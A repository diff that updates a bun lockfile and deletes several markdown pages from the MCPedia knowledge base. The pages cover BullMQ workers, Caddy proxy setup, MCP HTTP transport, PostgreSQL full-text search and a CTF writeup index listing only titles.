"eslint/ajv": ["ajv@6.15.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw=="],
|
||||
|
||||
@@ -1629,8 +1670,18 @@
|
||||
|
||||
"parse-entities/@types/unist": ["@types/unist@2.0.11", "", {}, "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA=="],
|
||||
|
||||
"postcss/nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="],
|
||||
|
||||
"safe-array-concat/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
|
||||
|
||||
"safe-push-apply/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
|
||||
|
||||
"tsx/esbuild": ["esbuild@0.28.2", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.2", "@esbuild/android-arm": "0.28.2", "@esbuild/android-arm64": "0.28.2", "@esbuild/android-x64": "0.28.2", "@esbuild/darwin-arm64": "0.28.2", "@esbuild/darwin-x64": "0.28.2", "@esbuild/freebsd-arm64": "0.28.2", "@esbuild/freebsd-x64": "0.28.2", "@esbuild/linux-arm": "0.28.2", "@esbuild/linux-arm64": "0.28.2", "@esbuild/linux-ia32": "0.28.2", "@esbuild/linux-loong64": "0.28.2", "@esbuild/linux-mipsLine truncated
|
||||
|
||||
"type-is/content-type": ["content-type@2.1.0", "", {}, "sha512-mj7UPXE0jaqaOsukNZRUEfEi2AcL7C/vwmwcHV0O97eO1E1pxBZuyjlZrx5seTaNBg1U6+o35wpa35Qfcc+7ag=="],
|
||||
|
||||
"which-builtin-type/isarray": ["isarray@2.0.5", "", {}, "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw=="],
|
||||
|
||||
"@esbuild-kit/core-utils/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.18.20", "", { "os": "android", "cpu": "arm" }, "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw=="],
|
||||
|
||||
"@esbuild-kit/core-utils/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.18.20", "", { "os": "android", "cpu": "arm64" }, "sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ=="],
|
||||
@@ -1679,22 +1730,68 @@
|
||||
|
||||
"@eslint/eslintrc/js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
|
||||
|
||||
"@mcpedia/db/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
|
||||
|
||||
"@mcpedia/mcp-client/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
|
||||
|
||||
"@mcpedia/mcp/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
|
||||
|
||||
"@mcpedia/web/@types/node/undici-types": ["undici-types@6.21.0", "", {}, "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ=="],
|
||||
|
||||
"@next/eslint-plugin-next/@eslint-community/eslint-utils/eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="],
|
||||
|
||||
"@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@5.0.9", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-ScQ4IuvIEF1TMlP7Zt+vjJ//9zlPb2SDcxWxM3bk8s6t6GGdJ7KO1dCcTidOPJKePW30LE/2cT7wCyPho9/Wxg=="],
|
||||
|
||||
"cross-spawn/which/isexe": ["isexe@2.0.0", "", {}, "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="],
|
||||
"docx/@types/node/undici-types": ["undici-types@7.24.6", "", {}, "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg=="],
|
||||
|
||||
"eslint/ajv/json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="],
|
||||
|
||||
"next/postcss/nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.2", "", { "os": "aix", "cpu": "ppc64" }, "sha512-XExcO+dvLKvVtNTibSTBej1NCAbaGhWn9Ww1ZPx80qsahhPFe/8jgWP0IchNe0F3HwkU7n8ejhH8bjonqht8mQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.2", "", { "os": "android", "cpu": "arm" }, "sha512-kXXoiPVVGQcnIYGOeaovwOURpniDBpSq4A03qkQ+BMQqtGG6HYap3xne9C1O1yo4TR3qxlCX5IqqmX6fFo2Lqg=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.2", "", { "os": "android", "cpu": "arm64" }, "sha512-5YfKeeI8qWfBZIX+u2xZC3Zlb3Os/gLS2sbEKM+I4ZOcsWmHS2WLysCcQZDAFRslDUU5Oiq44gf6PYN1vGwG5A=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.2", "", { "os": "android", "cpu": "x64" }, "sha512-O387ite7SzUyCcy3JQX4P4bLtEA7bLLkx+esve5JHnyYfNTxcVpXZo9jhdB0lTKN44gztELTdU7nS8Nr16Fs1Q=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-n4KqkOQrraxHJcgjM1RvwbigfQKIKJVpM7xp+KsxiyUSrRdIXnt73VhrPAx0fV44hgfmIVKjxMN9J1t5jySVkw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-uq6suIWYP37qzGddBKPw5QEQPi6HiLGsO7UmkpfyaYNQ3D+rN6w6WfwH+nuqcGXWvawGwxOEroO4YGnFh95azw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.2", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-n+I0BTSRIoy+d6RPKnEVwql5UwBJolytvY4mAOIEJorKlqgPII8ix6slVVrfZ5Tnj7glIZvloylbB/EJPMWEXw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-78XJTJkvPs0kz2w61301PJjXl4g7q3JqiYMZ/M/yVI73EHBrCRTgkhu9oqG7vPqq+a/yadEW8aD+agKlk5xrmg=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.2", "", { "os": "linux", "cpu": "arm" }, "sha512-XlDnu2q5yoqems+xay6wSAcg9DDD7K9RLKZEBOMZm3ckNpJBvOX20tSfby8KfrrhINDyv9V2YVZKY/SpoGJI8w=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-pW4AC0P3it8c7do9MVM4p51FzHzdM/TZrerurgRcHJ2WTa1VQ1CIq18xncfpBJw4ojkiZZrKW2yIBWBP92j6Ug=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.2", "", { "os": "linux", "cpu": "ia32" }, "sha512-CYbnj78HsIeA+DhgUKgFCfvNsTHFhMMrinUrMZpDXJXKN8T3XViTZ/+wtHeVxEWY8ewSzTFN+nRmSwO2tZaLUQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-buwkd8nsph4R+ajRvw0qM5Hja/TXQow3ptzWO2EbG/cqcIkHloRrdlBtQlshyYGTNFvfkfJ5tpPLVkY4DtsPfQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-ZVykbDyk7519VwiNb9Lcj9m8XM6v5V9uKPvrEMkkEedVewf+0itkhahp4HDpgERXhwLRpWFypsGbG/J8s0QjJA=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.2", "", { "os": "linux", "cpu": "ppc64" }, "sha512-CAXl+Dtd9UUuJd8pKKdwh6MLm3MUMiqMPmhZ3tTSXPqfyQ3vDl6R5hZdZ/kYojK4ofXtdfSv1tFq8XzWx3heNQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.2", "", { "os": "linux", "cpu": "none" }, "sha512-GeXCej4IQtU1B+QlDV8W/RRvbzI3O/Stss+/bCXv4lZls5WGRtu2a+3JkA3i4qIUlMXpcHebWpF8AkJhATowuA=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.2", "", { "os": "linux", "cpu": "s390x" }, "sha512-3H1weTYZPxt/WOhByszQZybS9w5lKzUn1FDMsgEChbHWQwHYQQRfBxgCcZvPhjHfKyJjIievvMmEUawJrdY9Dg=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.2", "", { "os": "linux", "cpu": "x64" }, "sha512-4xTZr1FUmSoQW4XIWmit3tzQrUTZM+N3P0XV8xROKYF50XfI7xeO90+1bZvNwxIufQ9hDQVRJH5YhgPVF8A/HQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-sSATRjPeDBg3pdgHoQfoYBob11Kk1FGa9lui5RIHZCoCkJa9QKlvl3/vKz2usCmYYjs7ymJR/2Nnsqe+Hjt5nw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.2", "", { "os": "none", "cpu": "x64" }, "sha512-lqnzCV+mM0gIADaKihiCg6ifgfU2L3h5E33rNQBN1Y4MaVGnzryzmvvf7UHxprpQdE8hpqLolJ9Rl+SkIRDpyw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.2", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-AL2qJILH7lNjrDmCQDvdxMfAUIv8KMNZOvrwAQ8i8//ntL9FflhOyMJ8OZSMBb8/AWXe3/5v5S20y3zCoZWKoQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.2", "", { "os": "openbsd", "cpu": "x64" }, "sha512-QtiuPytchRyC4rwUKhexJdQKvDuZ6hWloi3igqPQNUJCS1/v9EiO3UTOXR6A3FoMo4fnAKbWJdqaIwhOzh8qEw=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.2", "", { "os": "none", "cpu": "arm64" }, "sha512-WkhYDmpTjLvGlScA1rwjRUmhl4k8oXR3cIbtqWmELgU/dFeHHlEllxDvdWcNJV9rbzCexB5vz8gtNewWLgCT7Q=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.2", "", { "os": "sunos", "cpu": "x64" }, "sha512-GPMSkTOtMnv2U2F8gxe4Io6qmVs+YKyp832Etqqxr0hFngmXQ3rzwytelm3GIn7T4VviRUlf3sOgBOiTdvaf7g=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.2", "", { "os": "win32", "cpu": "arm64" }, "sha512-PIhhEkE9uPBleRBrQEJpUn7MBnibZzbGzYWPmY3x+YoVg/95zbjB4CxPPOQ8l5tYYM4mMaCthF8/1DIfBQQyWQ=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.2", "", { "os": "win32", "cpu": "ia32" }, "sha512-YmJbfTlvU7Sdn9BB+4PRES4oB6pxgS37MAONj+hBr/cpXS1aBPKXxNnDbu+QCWPj0o9dgyxeq79g6c5P8KeuYA=="],
|
||||
|
||||
"tsx/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.2", "", { "os": "win32", "cpu": "x64" }, "sha512-5ebpxr3nWMzrL/rnUI755Jkuee0bHL/Gq0WTF9lvcpv73wAp5eu8MfBUgWK9bhWvZjj7yX8etf/8tI8Ney695g=="],
|
||||
|
||||
"@typescript-eslint/typescript-estree/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="],
|
||||
}
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
---
|
||||
id: bullmq-workers
|
||||
title: BullMQ Background Workers
|
||||
type: documentation
|
||||
tags:
|
||||
- bullmq
|
||||
- redis
|
||||
- jobs
|
||||
- queue
|
||||
- infra
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# BullMQ Background Workers
|
||||
|
||||
BullMQ runs the async indexing/embedding pipeline. Jobs are enqueued by the CLI, the
|
||||
git-sync webhook, or an MCP tool, and drained by a long-running worker connected to the
|
||||
shared Redis instance.
|
||||
|
||||
## Connection requirements
|
||||
|
||||
BullMQ requires an **ioredis** connection with `maxRetriesPerRequest: null`. A finite
|
||||
retry count causes the cryptic `Connection in key mode` error on blocking commands.
|
||||
The shared client in `packages/queue` sets this correctly:
|
||||
|
||||
```ts
|
||||
const opts: RedisOptions = {
|
||||
maxRetriesPerRequest: null,
|
||||
lazyConnect: true,
|
||||
enableOfflineQueue: true,
|
||||
};
|
||||
```
|
||||
|
||||
## Job model
|
||||
|
||||
Three job types flow through the `mcpedia-index` queue (prefix `mcpedia:` on Redis):
|
||||
|
||||
| name | data | action |
|
||||
|------------|-------------------|---------------------------------|
|
||||
| `index-doc`| `{ relPath, reason }` | index one content file |
|
||||
| `index-all`| `{ reason }` | full corpus reindex |
|
||||
| `reindex` | (legacy) | alias of full |
|
||||
|
||||
Job IDs use a `__` separator (`doc__<slug>`, `full__<ts>`) — BullMQ reserves `:` for
|
||||
repeatable jobs, so a literal `:` in a custom jobId is rejected.
|
||||
|
||||
## Worker lifecycle
|
||||
|
||||
The worker is a `Worker` with `concurrency: 4`. Each job calls the shared
|
||||
`indexContentFile` / `runFullIndex` entry points in `@mcpedia/core` — the same code
|
||||
path the CLI uses, so behavior never diverges. On completion it logs; on failure it
|
||||
logs the reason and the job is retried per BullMQ defaults.
|
||||
|
||||
Graceful shutdown: `worker.close()` on `SIGINT`/`SIGTERM`. systemd sends SIGTERM on
|
||||
stop, so the process exits cleanly and in-flight jobs are returned to the queue.
|
||||
|
||||
## Inspecting state
|
||||
|
||||
```bash
|
||||
bun run enqueue --all # enqueue a full reindex
|
||||
curl localhost:4020/trpc/queueStatus # waiting/active/completed/failed
|
||||
```
|
||||
|
||||
A stuck queue (waiting > 0, active = 0) means the worker died — check
|
||||
`systemctl status mcpedia-worker` and the journal.
|
||||
@@ -1,85 +0,0 @@
|
||||
---
|
||||
id: caddy-reverse-proxy
|
||||
title: Caddy Reverse Proxy
|
||||
type: documentation
|
||||
tags:
|
||||
- caddy
|
||||
- reverse-proxy
|
||||
- tls
|
||||
- infra
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# Caddy Reverse Proxy
|
||||
|
||||
Caddy is the single reverse proxy on the host. Every public service sits behind it
|
||||
and terminates TLS with automatic Let's Encrypt certificates. Understanding its
|
||||
config model prevents the two recurring failure modes: **525 (origin TLS)** and
|
||||
**404 (path routing)**.
|
||||
|
||||
## Config model
|
||||
|
||||
The live config is `/etc/caddy/Caddyfile`. It is a manual, tuned file — CI does not
|
||||
deploy it, so the live file is the source of truth and must be kept in sync with any
|
||||
repo reference.
|
||||
|
||||
A reusable snippet handles the common case:
|
||||
|
||||
```
|
||||
(proxy) {
|
||||
encode zstd gzip
|
||||
header {
|
||||
-Server
|
||||
X-Content-Type-Options "nosniff"
|
||||
}
|
||||
reverse_proxy 127.0.0.1:{args[0]} {
|
||||
transport http {
|
||||
keepalive 120s
|
||||
dial_timeout 3s
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A site block wires a domain to a backend port:
|
||||
|
||||
```
|
||||
wiki.asepharyana.my.id {
|
||||
import proxy 4016
|
||||
}
|
||||
```
|
||||
|
||||
## Path routing: `handle` vs `handle_path`
|
||||
|
||||
`handle /trpc/*` forwards the request **with** the `/trpc` prefix preserved.
|
||||
`handle_path /trpc/*` **strips** it before proxying. Stripping is wrong when the
|
||||
upstream already mounts the route at `/trpc` — the upstream then receives `/` and 404s.
|
||||
|
||||
Rule: when the upstream already serves the path (e.g. Hono `app.all("/trpc/*")`),
|
||||
use `handle`, not `handle_path`.
|
||||
|
||||
## 525 — origin TLS handshake failed
|
||||
|
||||
Cloudflare proxies every `*.asepharyana.my.id` record. If a subdomain has **no**
|
||||
Caddy site block, Caddy has no certificate for that SNI and the TLS handshake dies →
|
||||
Cloudflare returns 525. Fix: add the block, `caddy validate`, `systemctl reload caddy`.
|
||||
The first request after adding a block triggers ACME certificate issuance; until it
|
||||
completes the origin may briefly 525. That is expected and self-heals in ~10s.
|
||||
|
||||
## Slow upstreams
|
||||
|
||||
LLM gateways (9router) have time-to-first-token of 30–40s. The default
|
||||
`response_header_timeout 30s` yields false 504s. Lengthen it for those blocks:
|
||||
|
||||
```
|
||||
reverse_proxy 127.0.0.1:4014 {
|
||||
transport http {
|
||||
response_header_timeout 120s
|
||||
read_timeout 300s
|
||||
write_timeout 300s
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -1,56 +0,0 @@
|
||||
---
|
||||
id: mcp-streamable-http
|
||||
title: MCP Streamable HTTP Transport
|
||||
type: documentation
|
||||
tags:
|
||||
- mcp
|
||||
- protocol
|
||||
- http
|
||||
- infra
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# MCP Streamable HTTP Transport
|
||||
|
||||
The MCPedia MCP server is served over **Streamable HTTP** (the MCP 2025-03-26
|
||||
transport) so remote clients — Claude, a Discord bot, a web frontend — can call its
|
||||
tools and read its resources without spawning a stdio subprocess.
|
||||
|
||||
## Why stateless
|
||||
|
||||
The server uses `StreamableHTTPServerTransport` in **stateless mode**
|
||||
(`sessionIdGenerator: undefined`):
|
||||
|
||||
- One `McpServer` + transport is created **per request**.
|
||||
- No session affinity, no shared-transport `connect()` race, no session-map memory
|
||||
leak under burst traffic.
|
||||
- Re-registering tools and resources per request is negligible for a KB-sized
|
||||
corpus.
|
||||
|
||||
Stateful mode (a `sessionIdGenerator` returning a UUID) would require holding a
|
||||
transport map keyed by session id and cleaning it up on `onclose`. For this read-mostly
|
||||
knowledge base, stateless is simpler and equally correct.
|
||||
|
||||
## Endpoint
|
||||
|
||||
```
|
||||
POST https://mcp.asepharyana.my.id/mcp
|
||||
Content-Type: application/json
|
||||
Accept: application/json, text/event-stream
|
||||
```
|
||||
|
||||
Responses use SSE framing (`event: message` / `data: {...}`) even for unary results.
|
||||
Clients must send `Accept: application/json, text/event-stream` or the server returns
|
||||
406. The MCP `initialize` handshake sets `protocolVersion: "2025-03-26"`.
|
||||
|
||||
## CORS
|
||||
|
||||
`/mcp` returns permissive CORS headers (`Access-Control-Allow-Origin: *`) so browser
|
||||
clients can call it directly. Preflight `OPTIONS` is answered with 204.
|
||||
|
||||
## Auth for write tools
|
||||
|
||||
Read tools (`search_documents`, `get_document`, `semantic_search`, `hybrid_search`, `list_documents`, `get_related_documents`, `queue_status`) are open. Write and mutating tools (`create_document`, `update_document`, `delete_document`, `index_document`, `reindex_all`, `restore_revision`) require the `x-webhook-secret` header matching `WEBHOOK_SECRET` — the same shared secret used by the git-sync webhook. A missing or invalid header returns an authorization error before executing any mutation.
|
||||
@@ -1,43 +0,0 @@
|
||||
---
|
||||
id: websocket-contract
|
||||
title: WebSocket Contract
|
||||
type: documentation
|
||||
tags:
|
||||
- typescript
|
||||
- websocket
|
||||
- rpc
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-19
|
||||
updated_at: 2026-08-19
|
||||
---
|
||||
|
||||
# WebSocket Contract
|
||||
|
||||
The WebSocket contract defines how clients establish a bidirectional connection
|
||||
and exchange RPC-style messages with the server. It is the foundation for the
|
||||
type-safe API described in the tRPC integration notes.
|
||||
|
||||
## Handshake
|
||||
|
||||
A client opens a single WebSocket connection and sends an `init` frame containing an
|
||||
auth token. The server answers with `ready` or closes the socket with code 4401
|
||||
if the token is invalid.
|
||||
|
||||
## Message envelope
|
||||
|
||||
Every frame uses a JSON envelope:
|
||||
|
||||
```json
|
||||
{ "id": "req-1", "method": "echo", "params": { "text": "hi" } }
|
||||
```
|
||||
|
||||
The server replies with a matching `id` and either a `result` or an `error`
|
||||
field. This request/response correlation is what makes the protocol feel like
|
||||
RPC even though it rides on a single socket.
|
||||
|
||||
## Timeouts
|
||||
|
||||
If the server does not answer within the negotiated timeout, the client should
|
||||
re-send with the same `id` rather than opening a new connection. See the
|
||||
debugging writeup for a common timeout pitfall when proxies buffer frames.
|
||||
@@ -1,65 +0,0 @@
|
||||
---
|
||||
id: postgres-full-text-search
|
||||
title: PostgreSQL Full-Text Search
|
||||
type: documentation
|
||||
tags:
|
||||
- postgres
|
||||
- fts
|
||||
- tsvector
|
||||
- search
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# PostgreSQL Full-Text Search
|
||||
|
||||
MCPedia's keyword search is backed by PostgreSQL's native full-text search (FTS), not
|
||||
an external engine. The `documents` table carries a generated `tsvector` column that
|
||||
combines the title (weight `A`) and body (weight `B`).
|
||||
|
||||
## Generated search vector
|
||||
|
||||
The column is `generatedAlwaysAs`, so it is always consistent with the row and needs
|
||||
no trigger:
|
||||
|
||||
```ts
|
||||
searchVector: tsvector("search_vector")
|
||||
.notNull()
|
||||
.generatedAlwaysAs(
|
||||
sql`setweight(to_tsvector('simple', coalesce(${documents.title}, '')), 'A') ||
|
||||
setweight(to_tsvector('simple', coalesce(${documents.body}, '')), 'B')`,
|
||||
),
|
||||
```
|
||||
|
||||
The `'simple'` config disables stemming, so mixed identifier/English queries (e.g.
|
||||
`websocket`, `tsvector`) match literally. A GIN index on `searchVector` keeps lookups
|
||||
fast.
|
||||
|
||||
## Query + ranking
|
||||
|
||||
Search parses the user query with `websearch_to_tsquery` (or `plainto_tsquery`), then
|
||||
ranks with `ts_rank`:
|
||||
|
||||
```sql
|
||||
SELECT *, ts_rank(search_vector, q) AS rank
|
||||
FROM documents, websearch_to_tsquery('simple', $1) q
|
||||
WHERE search_vector @@ q
|
||||
ORDER BY rank DESC;
|
||||
```
|
||||
|
||||
| Config | Stemming | Use case |
|
||||
| ------------ | -------- | -------------------------------- |
|
||||
| `simple` | none | Identifiers, ports, exact codes |
|
||||
| `english` | yes | Natural-language body text |
|
||||
| `websearch` | yes | Google-like queries (`"a" OR b`) |
|
||||
|
||||
A headline snippet for the UI comes from `ts_headline`, which bolds the matched lexemes.
|
||||
|
||||
## Hybrid fusion
|
||||
|
||||
Semantic search (embedding cosine) and FTS are fused with **Reciprocal Rank Fusion**
|
||||
(RRF) in `packages/search`. Each result set is ranked, scored `1/(k + rank)`, and the
|
||||
summed scores re-rank the union — no cross-score normalization needed, which is robust
|
||||
when the two signals live on different scales.
|
||||
@@ -1,36 +0,0 @@
|
||||
---
|
||||
id: typescript-patterns
|
||||
title: TypeScript Patterns
|
||||
type: note
|
||||
tags:
|
||||
- typescript
|
||||
- patterns
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-19
|
||||
updated_at: 2026-08-19
|
||||
---
|
||||
|
||||
# TypeScript Patterns
|
||||
|
||||
A notebook of small, reusable TypeScript patterns that keep code honest.
|
||||
|
||||
## Branded types for ids
|
||||
|
||||
```ts
|
||||
type DocId = string & { readonly __brand: "DocId" };
|
||||
const asDocId = (s: string) => s as DocId;
|
||||
```
|
||||
|
||||
Branding prevents passing an arbitrary string where a document id is expected.
|
||||
|
||||
## Discriminated unions over inheritance
|
||||
|
||||
Prefer a closed set of variants with a `kind` field. Exhaustiveness checks with
|
||||
`switch` catch missing cases at compile time instead of at runtime.
|
||||
|
||||
## Prefer composition
|
||||
|
||||
When two modules share behavior, extract a function. Avoid inheritance trees
|
||||
that couple unrelated code. This matches the MCPedia Core principle: one layer
|
||||
owns the logic, interfaces only call into it.
|
||||
@@ -1,34 +0,0 @@
|
||||
---
|
||||
id: mcp-architecture
|
||||
title: MCP Architecture Notes
|
||||
type: research
|
||||
tags:
|
||||
- mcp
|
||||
- architecture
|
||||
- ai
|
||||
status: published
|
||||
author: asep
|
||||
created_at: 2026-08-19
|
||||
updated_at: 2026-08-19
|
||||
---
|
||||
|
||||
# MCP Architecture Notes
|
||||
|
||||
The Model Context Protocol (MCP) lets an AI client treat a knowledge base as a
|
||||
first-class context source instead of yet another REST API. The server exposes
|
||||
tools and resources; the client decides what to read.
|
||||
|
||||
## Tools vs resources
|
||||
|
||||
- Tools are actions the model calls (`search_documents`, `get_document`).
|
||||
- Resources are addressable content the model can pull (`mcpedia://docs/...`).
|
||||
|
||||
## Why it matters here
|
||||
|
||||
MCPedia exposes both. The Web UI is for humans; the MCP server is for agents.
|
||||
Both go through the same Core layer, so there is exactly one copy of the
|
||||
business logic and one search implementation.
|
||||
|
||||
## Reference
|
||||
|
||||
Related reading: the WebSocket contract and the tRPC type-safe API notes.
|
||||
@@ -1,26 +0,0 @@
|
||||
---
|
||||
id: ctf
|
||||
title: "CTF Writeups"
|
||||
type: writeup
|
||||
tags:
|
||||
- ctf
|
||||
- index
|
||||
status: published
|
||||
author: asep
|
||||
event: "CTF Archive"
|
||||
category: index
|
||||
difficulty: easy
|
||||
points: 0
|
||||
created_at: 2026-08-20
|
||||
updated_at: 2026-08-20
|
||||
---
|
||||
|
||||
# CTF Writeups
|
||||
|
||||
A collection of CTF challenge writeups organized by event. Each event folder
|
||||
contains challenge writeups grouped by category (pwn, crypto, web, forensics, etc.).
|
||||
|
||||
## Events
|
||||
|
||||
- [DEF CON CTF Quals 2024](defcon-quals-2024) — 1 challenge solved (pwn)
|
||||
- [Template](template) — Use as a starting point for new writeups
|
||||
@@ -1,31 +0,0 @@
|
||||
---
|
||||
id: defcon-quals-2024
|
||||
title: "DEF CON CTF Quals 2024 — Challenge Writeups"
|
||||
type: writeup
|
||||
tags:
|
||||
- ctf
|
||||
- defcon
|
||||
- writeup-index
|
||||
status: published
|
||||
author: asep
